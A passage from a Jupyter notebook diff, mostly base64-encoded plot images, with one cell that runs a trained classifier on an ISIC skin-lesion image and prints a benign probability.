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",
+            "text/plain": [
+              ""
+            ]
+          },
+          "metadata": {
+            "needs_background": "light"
+          },
+          "output_type": "display_data"
+        }
+      ],
+      "source": [
+        "predict_image_class(\"data/test/nevus/ISIC_0012092.jpg\", m)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 38,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 355
+        },
+        "id": "QXjc_iC11WMT",
+        "outputId": "531914e5-d3c1-408f-d984-301a60a77925"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "1/1 [==============================] - 0s 26ms/step\n"
+          ]
+        },
+        {
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "WARNING:matplotlib.image:Clipping input data to the valid range for imshow with RGB data ([0..1] for floats or [0..255] for integers).\n"
+          ]
+        },
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "[[0.13682997]]\n",
+            "0.13682997\n",
+            "This image is 86.32% benign.\n"
+          ]
+        },
+        {
+          "data": {
+            "image/png": "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